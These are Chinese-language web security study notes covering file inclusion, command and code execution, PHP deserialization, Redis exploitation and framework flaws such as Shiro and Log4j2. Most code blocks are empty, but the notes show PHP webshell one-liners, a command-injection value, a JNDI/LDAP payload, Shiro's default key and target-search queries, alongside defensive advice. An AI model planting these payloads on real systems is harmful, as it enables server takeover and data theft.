程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。 程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞;
备注:几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多, 而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端;在 PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在
¶原理
在PHP程序(后端程序)中使用文件包含的对象可以被前端的用户控制且没有经过过滤或严格的定义,用户可以将其他的文件作为参数带入到PHP代码中解释执行,从而造成敏感信息泄露/程序文件读取/GetShell等危害的漏洞。
¶高危函数
- require() 和 include() 函数的区别:使用 require() 函数包含文件时,只要程序执行,立即调用文件 ,而 include() 只有程序执行到该函数时才调用 。
- 其他用于包含的函数: highlight_file()、 show_source()、 readfile()、 file_get_contents()、 fopen()、file()
- 文件包含是执行被包含文件中的PHP代码,而文件打开则是读取文件中的内容不会执行!
¶漏洞利用
¶本地文件包含(LFI)
指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI !
包含条件: 用户可以动态控制变量!
包含图片GetShell
寻找网站上传点并把 php 恶意代码文件改成 jpg 上传到网站上在本地包含引入恶意代码,当文件被引入后代码就被执行。
包含日志GetShell
中间件例如 iis /apache/nginx 这些 web 中间件都会记录访问日志,如果访问日志中或错误日志中, 存在有 php 代码也可以引入到文件包含中,如果日志有 php 恶意代码也可导致 getshell;
在linux下日志文件权限默认是 root 而php 的权限是 www-data 一般情况下都是读取不了,如果是 windows 环境下是可以权限是允许的;
PHP伪协议
PHP 伪协议事实上就是支持的协议 与封装协议
- php.ini参数设置
在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include;
-
allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;
-
allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;
各协议的利用条件和方法:
- file://协议
1 | |
- php://filter协议
1 | |
- php://input协议
1 | |
- data://
1 | |
- zip://
1 | |
- phar://
1 | |
¶远程文件包含(RFI)
当远程文件开启时,可以包含远程文件到本地执行也称为RFI!
当 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On 允许远程包含文件。
¶文件包含绕过
00截断
1 | |
路径长度截断
1 | |
点号截断
1 | |
问号绕过
1 | |
#绕过
1 | |
空格绕过
1 | |
¶防护
- 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
- 路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:“…/”;
- 包含文件验证:验证被包含的文件是否是白名单中的一员;
- 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(‘head.php’);
- 设置 allow_url_include 为 Off ;
¶问题
1.什么是文件包含漏洞?
2.造成文件包含漏洞的高危函数,函数之间的区别!
3.文件包含的伪协议都有哪些?至少6个…
4.简述下文件包含漏洞的利用姿势与防护?
命令执行/代码执行漏洞
¶命令执行漏洞
¶概念
由于PHP程序未对前端用户提交的数据进行严格过滤或限制,从而导致传入的字段被带入到命令执行函数中作为参数执行,造成GetShell或接管服务器权限等高危害的Web漏洞!
¶漏洞危害
- 继承WEB服务器程序权限,执行系统命令(反弹Shell)
- 继承WEB服务器程序权限,读写文件(敏感文件)
- GetShell控制网站,创建系统后门控制服务器!
¶高危函数
1.exec函数
执行一个外部命令。
`
//回显输出结果的最后一行`2.passthru函数
执行外部程序,并且显示原始输出。
<?php passthru($_POST["cmd"]);?>
3.proc_open函数
执行一个命令,并且打开用来输入/输出的文件指针。
4.shell_exec函数
通过shell环境执行命令,并且将完整的输出以字符串的方式返回。
`
//无回显-必须输出`5.system函数
执行外部程序,并且显示输出。
<?php system($_POST["cmd"]);?> //有回显
6.popen函数
通过popen()的参数传递一条命令,并对popen()所打开的文件进行执行
只要命令的参数可控就能够执行系统命令。
system($cmd);或者system(‘ping -c 3’ . $target)
当$cmd可控的话就能够执行任意命令,
而当$target可控的话,可以用管道符等特殊字符截断从而执行任意命令。
$target = ‘a | whoami’;
1 | |
7. 反引号 `
1 | |
¶命令连接符
|
管道操作符
可以把前一个命令的标准输出传输到后一个命令的标准输入
比如 a | b表示命令a的输出作为命令b的输入
在远程命令执行中,不管a的执行结果是否正确,b都可以执行
||
逻辑或
注意该命令有短路的情况
比如 a || b,如果命令a执行成功,则命令b不会被执行;只有命令a执行失败的情况下,才会执行命令b
&&
逻辑与
注意该命令有短路的情况
比如 a && b,如果命令a执行失败,则命令b不会被执行;只有命令a执行成功的情况下,才会执行命令b
&
windows特有
允许在一行内从左向右顺序执行多条命令,前一条命令失败也不影响后一条命令的执行
比如 a & b,不管a是否执行成功,b命令都会执行
;
(可能看不清,这是个分号)
linux系统特有
允许在一行内从左向右顺序执行多条命令,前一条命令失败也不影响后一条命令的执行
比如 a ; b,不管a是否执行成功,b命令都会执行
¶漏洞利用
挖掘思路
黑盒测试:网络连接测试/文件编辑处/存在系统命令可疑处(后台)+未授权访问!
白盒测试:定位高危的命令执行函数,查看是否有前端可控的字段传入!
¶1.有回显
利用1:GetShell
前提是对目标主机具有写入权限,其Linux主机可执行pwd获取绝对路径而Windows主机执行chdir获取绝对路径。
linux主机通过echo将一句话木马写入php文件中或者可以将base64加密以后再解码写入eg:
1 | |
windows主机如果有写入权限和linux操作相同;
如果没有写入权限,就在VPS中开启http服务,利用wget或者curl下载木马文件写入出网的根目录。
eg:
1 | |
利用二:读取文件
获取系统敏感信息…
1 | |
¶情景2:无回显
-
¶DNS解析记录
首先我们知道DNS是域名到IP地址的解析的服务,通过域名可以解析到对应的IP地址。DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件…我们可以使目标主机访问DNSLog平台将我们执行的命令结果带到解析记录中.
linux主机
利用前面的命令拼接符将想要执行的命令解析到DNS平台eg:
1 | |
windows主机
使用dnslog平台结合系统变量来回显系统的一些数据信息
1 | |
¶附:windows系统变量
HTTP请求日志
1 | |
NC传递执行结果
1 | |
反弹Shell
反弹Shell应用场景
-
命令执行处无法执行全部系统命令,常发生在Windows系统下(eg:dir/pwd/…)
-
获取交互式命令执行接口,方便与程序进行交互配置(eg:passwd username)
-
无法Powershell上线CS/无法一键部署挖矿程序情况下进行通信测试!
¶漏洞防护
- 不执行外部的应用程序或命令:
○ 尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行 system、eval 等命令执行功能的函 数前,要确认参数内容。
- 使用 escapeshellarg 函数处理相关参数:
○ escapeshellarg 函数会将用户引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“’”, 双引号““”会被转义为“””,分号“;”会被转义为“;”,这样 escapeshellarg 会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
- 使用 safe_mode_exec_dir 执行可执行的文件路径 :
○ 将 php.ini 文件中的 safe_mode 设置为 On,然后将允许执行的文件放入一个目录,并使用 safe_mode_exec_dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在 safe_mode_exec_dir 指定的目录中才会允许执行,否则执行将失败。
¶代码执行漏洞
¶原理
由于PHP程序未对前端用户提交的数据进行严格过滤或限制,从而导致传入的字段被带入到代码执行函数中作为参数执行,造成GetShell或接管服务器权限等高危害的Web漏洞!
命令执行漏洞是执行的系统命令;即system()函数等调用命令解释器执行输入的命令;
代码执行漏洞是执行语言代码;即eval()函等将输入进的字符串交给PHP解释器当作PHP代码执行;
¶高危函数
1.eval函数
mixed eval(string $code) 把字符串$code作为PHP代码执行。
2.assert函数
Bool assert(mixed $assertion[,string $description]) 检查一个断言是否为false(把字符串$assertion作为PHP代码执行)。
3.preg_replace()函数
mixed preg_replace (mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]]) 搜索subject中匹配pattern的部分, 以$replacement进行替换
preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码
1 | |
4.create_function()
create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令
create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。
eg:
1 | |
5. array_map()
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
eg:
1 | |
6.Call_user_func()/Call_user_func_array()
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数。
7.array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
eg:
1 | |
8.usort()/uasort()
usort() 通过用户自定义的比较函数对数组进行排序。
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
php环境>=5.6才能用
1 | |
9.file_put_contents()/fputs()
file_put_contents() 函数把一个字符串写入文件中。
fputs() 函数写入文件。
1 | |
10.动态函数
PHP函数直接由字符串拼接。
1 | |
¶漏洞防护
- 使用 json 保存数组,当读取时就不需要使用 eval 了 ;
- 对于必须使用 eval 的地方,一定严格处理用户数据(白名单、黑名单);
- 字符串使用单引号包括可控代码,插入前使用 addslashes 转义(addslashes、魔数引号、 htmlspecialchars、 htmlentities、mysql_real_escape_string) ;
- 放弃使用 preg_replace 的 e 修饰符,使用 preg_replace_callback()替换(preg_replace_callback());
- 若必须使用 preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象(preg_replace+正则) 。
¶问题
1.造成命令执行与代码执行漏洞的高危函数都有哪些?
2.命令/代码执行漏洞处无法GetShell思路如何?
-
1.对写入的一句话木马做免杀操作,尝试写入
-
2.反弹Shell并执行文件下载在去GetShell
反序列化漏洞-PHP
¶原理
反序列化又叫对象注入,序列化在内部没有漏洞,漏洞产生是因为程序在处理对象、魔术函数以及序列化相关的问题导致的,当传给 unserialize()的参数可控时,那么用户就可以注入 payload,进行反序列化的时候就可能触发对象中的一些魔术方法。
¶序列化
序列化的目的是方便数据的传输和存储。
1 | |
-
字符串序列化
-
数组序列化
-
对象序列化
O:4:“test”:1:{s:1:“a”;s:4:“test”;}
序列化格式介绍:O表示类 4表示类名长度 test是类名 1代表类中有一个属性 s 字符串 1 长度1位 a是属性名 test 是属性的值。
含义与扩展
1 | |
private、public、protected是保留字,是成员访问限定符,其后必须跟冒号
(1)private:只能被本类中的成员函数访问,类外(除友元外)不能访问。
(2)public:公有成员可以被本类的成员函数访问,也能在类的作用域范围内的其他函数访问。
(3)protected:受保护成员可由本类的成员函数访问,也能由派生类的成员函数访问。
¶反序列化漏洞
当程序在进行反序列化时,会自动调用一些函数,例如wakeup(),destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。
魔术方法
魔术方法:PHP中一般是以__开头,通常会因为某些条件而触发不用手动调用
1 | |
1 | |
¶条件
- 代码中有可利用的类,并且类中有wakeup(),sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
- unserialize()函数的参数可控。
¶防御
(1)安全配置好php相关参数
通过Php配置文件里面有个disable_functions = 配置
这个禁止某些php函数,服务器便是用这个来禁止php的执行命令函数
禁止这些函数来执行系统命令
例:disable_functions =system,passthru,shell_exec,exec,popen
(2)严格控制传入变量,严谨使用魔法函数
¶问题
-1.什么是反序列化漏洞与原理?
-2.造成反序列化漏洞的高危函数与魔术方法?
-3.反序列化漏洞的修补方式?
¶经典反序列化漏洞(待补充)
¶fastjson
业务逻辑漏洞
¶越权
水平越权:指攻击者尝试访问与他拥有相同权限的用户资源。
垂直越权是一种 “基于URL的访问控制” 设计缺陷引起的漏洞,垂直越权可以分为两种,分别是向上越权和向下越权。
服务器为鉴别客户端浏览器会话及身份信息,会将用户身份信息存储在 Cookie 中,并发送至客户端存储。攻击者通过修改 Cookie 中的身份标识为管理员,欺骗服务器分配管理员权限,达到垂直越权的目的
¶挖掘
越权挖掘位置
● 个人资料的地址
● 下订单的地址
● 收获地址
● 越权评论商品
● 越权删除数据
挖掘方法
● get请求address_id参数
● post请求address_id参数
● cookie中的键值对
¶防护
- 基础安全架构,完善用户权限体系。要知道哪些数据对于哪些用户,哪些数据不应该由哪些用户操作;
- 鉴权,服务端对请求的数据和当前用户身份做校验;
- 不要直接使用对象的实名或关键字;
- 对于可控参数进行严格的检查与过滤。
¶支付漏洞
1 | |
¶短信/邮箱轰炸漏洞
¶利用Cookie&Session
session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构(也可能就是使用散列表) 来保存信息。 当程序需要为某个客户端的请求创建一个 session 的时候,服务器首先检查这个客户端的请求里是否已包含了一个 session 标识,称为 session id,如果已包含一个 session id 则说明以前已经为此客户端创建过 session,服务器就按照 session id 把这个 session 检索出来使用(如果检索不到,可能会新建一个),如果 客户端请求不包含 session id,则为此客户端创建一个 session 并且生成一个与此 session 相关联的 session id, session id 的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个 session id 将被在本次响 应中返回给客户端保存。保存这个 session id 的方式可以采用 cookie,这样在交互过程中浏览器可以自动的按照规则把这个标识发送给服务器。
¶Session的特点
session 一般用于登录验证 。
session 的存活周期:
○ 默认关闭浏览器,session 就会消失。
○ 在程序中设置 session 的过期时间。
session 是存在于服务器里,cookie 是存在于客户端的。
session 的机制:
- 是会在浏览器生成一个 cookie session_id 也会在服务器里生成一个 session id 文件,假如在做身份证认证的时候就会在这个服务器里的文件写入要验证的内容。
- 在 php 里 session 的存放位置是在 php.ini 里设置的,也可以通过函数设置在其他位置 。
¶Cookie
区别
session 机制采用的是在服务器端保持状态的方案,而 cookie 机制则是在客户端保持状态的方案,Cookie 是由 HTTP 服务器设置的,保存在浏览器中cookie 又叫会话跟踪机制。打开一次浏览器到关闭浏览器算是一次会话。说到这里,讲下 HTTP 协议,前面提到, HTTP 协议是一种无状态协议,在数据交换完毕后,服务器端和客户端的链接就会关闭,每次交换数据都需要建立新的链接。此时,服务器无法从链接上跟踪会话。cookie 可以跟踪会话,弥补 HTTP 无状态协议的 不足。
Cookie分类
cookie 分为会话 cookie 和持久 cookie
会话 cookie 是指在不设定它的生命周期 expires 时的状态
浏览器的开启到关闭就是一次会话,当关闭浏览器时,会话 cookie 就会跟随浏览器而销毁。当关闭一个页面时,不影响会话 cookie 。
持久 cookie 则是设定了它的生命周期 expires
关闭浏览器之后,它不会销毁,直到设定的过期时间。对于持久 cookie,可以在同一个浏览器中传递数据。
漏洞
Cookie仿冒
Cookie登录绕过漏洞
防御
- 使用 cookie 身份验证时,不要使用简单的验证,对外部输入的参数进行过滤.。
- 尽量使用 session 安全认证,session 是外部不可控的。
业务逻辑漏洞推荐书籍
《Web攻防之业务安全实战指南》
未授权访问
总结:无
Jsonp&Cors
¶基础知识
¶同源策略
SOP,全称为同源策略 (Same Origin Policy),该策略是浏览器的一个安全基石, 如果没有同源策略,那么,你打开了一个合法网站,又打开了一个恶意网站。那么恶意网站的脚本能够随意的操作合法网站的任何可操作资源,没有任何限制。
两个站点需要满足同协议、同端口、同域名。这三个条件即为 “同源”。
下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的
1 | |
¶CORS
CORS(Cross-Origin Resource Sharing)跨域资源共享,其思想是使用自定义的HTTP头部让浏览器与服务器进行沟通,它允许浏览器向跨域服务器发出XMLHttpRequest请求,从而克服AX只能同源使用的限制。
CORS的基本原理是:第三方网站生成访问控制策略,指定用户浏览器放宽SOP的限制,实现与指定的目 标网站共享数据。
¶漏洞原理
因为同源策略的存在,不同源的客户端脚本不能访问目标站点的资源,如果目标站点CORS配置不当,没有对请求源的域做严格限制,导致任意源都可以访问时,就存在cors跨域漏洞问题。
攻击者可以利用Web应用对用户请求数据包的Origin头校验不严格,诱骗受害者访问攻击者制作好的恶意网站,从而跨域获取受害者的敏感数据。
CORS跨域漏洞的本质是服务器配置不当
¶CORS中关键的几个响应头字段如下:
Access-Control-Allow-Origin:指定哪些外域可以访问本域资源;
Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送Cookie。仅当设置为true
时,才会发送Cookie;默认是false
Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET、POST、PUT、DELETE
等)来访问资源;
Access-Control-Allow-Headers:指定可以在请求报文中添加的HTTP头字段; Access-Control-Max-Age:指定超时时间;
¶CORS挖掘思路
CORS的漏洞主要看当我们发起的请求中带有Origin 头部字段时,服务器的返回包带有CORS的相关字段并且允许Origin 的域访问。
一般测试WEB漏洞都会用上BurpSuite,而BurpSuite可以实现帮助我们检测这个漏洞。
¶JSONP
JSONP是JSON with padding(填充式JSON或参数式JSON)的简写,是基于JSON格式达的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用的script标签的src属性不受同源策略影响的特 性,来跨越获取数据。
说人话就是:可以让网页从别的域名(网站)那获取资料,即跨域读取数据。
JSONP由两部分组成: 回调函数 、 数据
回调函数是当响应来时,在页面中调用的函数。回调函数的名称一般是在请求中指定的。而数据就是传入回调函数中的JSON数据。
¶JSONP劫持漏洞
JSON劫持又称 “JSON Hijacking” 。当网站通过JSONP的方式来跨域传递用户认证后的敏感信息时,如果服务端对JSONP的请求来源校验不严格,那么攻击者可以构造恶意的JSONP调用页面,诱导被攻击者访问达到截取用户敏感信息的目的。
jsonp 与 csrf 类似,都是需要用户登录帐号,身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取 json 数据,把 json 数据发送给攻击者。
利用过程:寻找敏感 json 数据 api 接口,构造恶意的代码。 发送给用户,用户访问有恶意的页面,数据会被劫持发送到远程服务器。
产生漏洞的原因: 网站没有对JSONP请求来源进行校验和过滤导致任意域都能够获取数据。
¶流程
- 用户在网站A注册的能路,网站A接口返回数据包含用户的id,name,email等,个人用户数据。
- 用户打开攻击者发送给用户的URL,向网站B发起请求
- 网站B向用户返回响应页面,响应页面中包含回调函数和向网站B请求的script标签。
1 | |
<script src="https://www.xxx.com/api?callback=jsonp2"></script>
- 用户收到响应后,解析JS代码,将回调函数作为参数向网站A发送请求
- 网站A收到请求后,以JSON格式生成请求需要的数据(用户信息)将数据作为回调函数的参数返回给浏览 器。
json2({“id”:1,“name”:“test”,“email”:“test@test.com”})
- 网站B收到响应数据后,浏览器自动执行回调函数,将返回的数据进行弹窗处理.
PS:SRC挖掘中只有返回了敏感信息的jsonp劫持才能算是有危害。
¶JSONP漏洞挖掘思路
Google Hack语法
1 | |
Burp插件推荐
https://github.com/p1g3/JSONP-Hunter
¶防御方案
-
-
- json 正确的 http 头输出尽量避免跨域的数据传输,对于同域的数据传输使用 xmlhttp 的方式作为数 据获取的方式,依赖于 javascript 在浏览器域里的安全性保护数据,如果是跨域的数据传输,必须要对敏 感的数据获取做权限认证;
- 严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等;
- 严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 );
- 严格过滤 callback 函数名及 JSON 里数据的输出;
- 严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。
-
redis漏洞利用
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivota赞助。
| 漏洞利用方式 | 利用前提 | 备注 |
|---|---|---|
| 写公钥 | root权限运行redis开放了ssh,允许公钥连接 | |
| 反弹shell | root权限运行redis开启了计划任务 | |
| 写入webshell | root权限运行redis知道网站根路径 | |
| 主从复制 | redis 4.x/5.x | 无需root权限启动redis,获取的权限为启动用户的权限 |
Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问,读取数据,甚至利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。
¶漏洞利用
¶利用Redis漏洞写WebShell
利用前提
- 靶机redis链接未授权,在攻击机上能用
redis-cli连上,并未登陆验证 - 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(开启web服务器,就可以利用url地址使用蚁剑进行连接)
1 | |
¶利用Redis漏洞SSH密钥链接
利用前提
● Redis服务使用root账号启动
● 成功连接redis
● 服务器开放了SSH服务,而且允许使用密钥登录,并且存在/root/.ssh目录,(安装的openssh只要将公钥放入到/root/.ssh文件夹中,无需设置 默认就允许使用公钥登录),即可远程写入一个公钥,直接登录远程服务器。
攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可
1 | |
执行以下命令操作将公钥写入目标主机的认证文件中…
1 | |
进行SSH链接验证…
- 如果你是windows那你利用ssh密钥连接运行ssh -i id_rsa root@192.168.43.141需要在.ssh目录下,因为权限问题。
- .文件名必须是authorized_keys,由配置文件决定的。
¶利用Crontab计划任务反弹Shell
漏洞原理
在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
限制
反弹shell这里只在centos中能够利用成功,ubuntu系统由于通过redis写入计划任务后乱码原因导致无法反弹成功。
操作
在Centos7系统的VPS上执行Redis的安装部署…并进行未授权访问!成功…
执行以下命令进行反弹Shell
1 | |
¶利用Redis主从复制反弹Shell
Redis主从复制我们简单理解为有两台redis服务器,一个是主,一个是从,两台服务器的数据是一样的,主服务器负责写入数据,从服务器负责读取数据。一般一个主服务器有好几个从服务器,且从服务器可能也是其他redis服务器的主服务器。这样的好处就是如果主服务器或者一个从服务器崩溃不会>影响数据完整性,且读写分开,减轻服务器压力。
原理
Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
1 | |
限制
利用redis主从复制redis版本要是4.x或者5.x
操作
1 | |
有可能执行失败原因是仅支持32位Redis程序利用
¶SSRF+Redis写入WebShell
当我们检测出一个网站存在SSRF漏洞的时候,我们就可以探测当前或者内网主机开放的端口,而这些端口往往我们从外网是不能直接探测到的,所以可以尝试利用ssrf探测内网开放的端口,当探测处内网存在redis的时候,则可以尝试进行攻击.
利用条件
- 知道网站根目录
- 根目录具有写文件的权限
¶利用MSF破解Redis密码
调用相对应的MSF模块进行攻击操作
1 | |
¶扩展…使用Hydra进行爆破
1 | |
¶修复参考
1 | |
常见框架漏洞
¶Thinkphp
TP5 rce:
Thinkphp5 5.0.22/5.1.29
Thinkphp5 5.0.23 rce
更多https://github.com/Mochazz/ThinkPHP-Vuln https://y4er.com/post/thinkphp5-rce/
¶问题:
如果给你一个网站你如何识别是否使用了thinkphp框架?
-
使用指纹识别插件 Wappalyzer
-
通过构建报错的url , 根据报错信息判断
-
根据tp的默认icon 5.路由格式
¶Struts2
Struts 2 是一个基于MVC设计模式的web应用框架:
MVC:模型(Model)、视图(View)、控制器(Controller):
模型 — 属于软件设计模式的底层基础,主要负责数据维护。视图 — 这部分是负责向用户呈现全部或部分数据。
控制器 — 通过软件代码控制模型和视图之间的交互。
¶struts2 rce
S2-057远程执行代码漏洞原理
S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令执行。
S2-057 先决条件 :
alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞
spring
未授权访问、远程命令执行
¶SpEL是什么?
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。
¶SpEL原理如下:
-
-
- 表达式:可以认为就是传入的字符串内容;
- 解析器︰将字符串解析为表达式内容;
- 上下文:表达式对象执行的环境;
- 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象。
-
¶spring rce
Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)
漏洞原理
Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中 RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码
fofa:
icon_hash=“116323821”
spring的特征
- icon 是个小树叶
- 默认报错页面
其他利用方式
https://xie.infoq.cn/article/a60c8897b4bd0dbfe08cf7260 https://xie.infoq.cn/article/77266744d4eea813a20716fb5 https://github.com/LandGrey/SpringBootVulExploit
shiro
¶shiro 反序列化rce
¶Shiro-550 反序列化rce
漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的 cookie。
cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理
1、检索RememberMe cookie 的值
2、Base64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
利用条件
获得aes的加密密钥
在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞
尽管目前已经更新了许多版本,官方并没有对反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码, 这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。
只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
fofa:
app=“Apache-Shiro” header=“rememberme=deleteMe” header=“shiroCookie”
¶Shiro-721 反序列化漏洞
Shiro Padding Oracle Attack
漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
利用技巧
1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用 但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥 所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性 ;
2.如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe。
shiro550和721的区别
721是需要知道已经登陆用户的合法cookie 550不用登录就可以直接跑key;
550先base64解码然后AES解密再反序列化; 721的加密方式是通过AES-128-CBC模式加密
后续待 补充……
fastjson反序列化漏洞
原理:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验
证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过
这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步
对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
Log4j2注入漏洞
复现:
Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
漏洞适应版本:2.0 <= Apache log4j2 <=2.14.1
¶什么是JNDI
JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。
JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。
简单来说:通过JNDI提供了"通过名称找到对应的对象"的规范定义,即SPI功能,实现则由具体的技术支持,如:LDAP,RMI,DNS,Database。
¶什么是LDAP
目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
简单来说:LDAP是一个目录服务,可以通过目录路径查询到对应目录下的对象(文件)等。即其也是JNDI的实现,通过名称(目录路径)查询到对象(目录下的文件)。
常见中间件漏洞
¶一、Tomcat
Fofa :
app=“tomcat”
server=“Apache Tomcat” && body=“Apache Tomcat”
¶Tomcat介绍
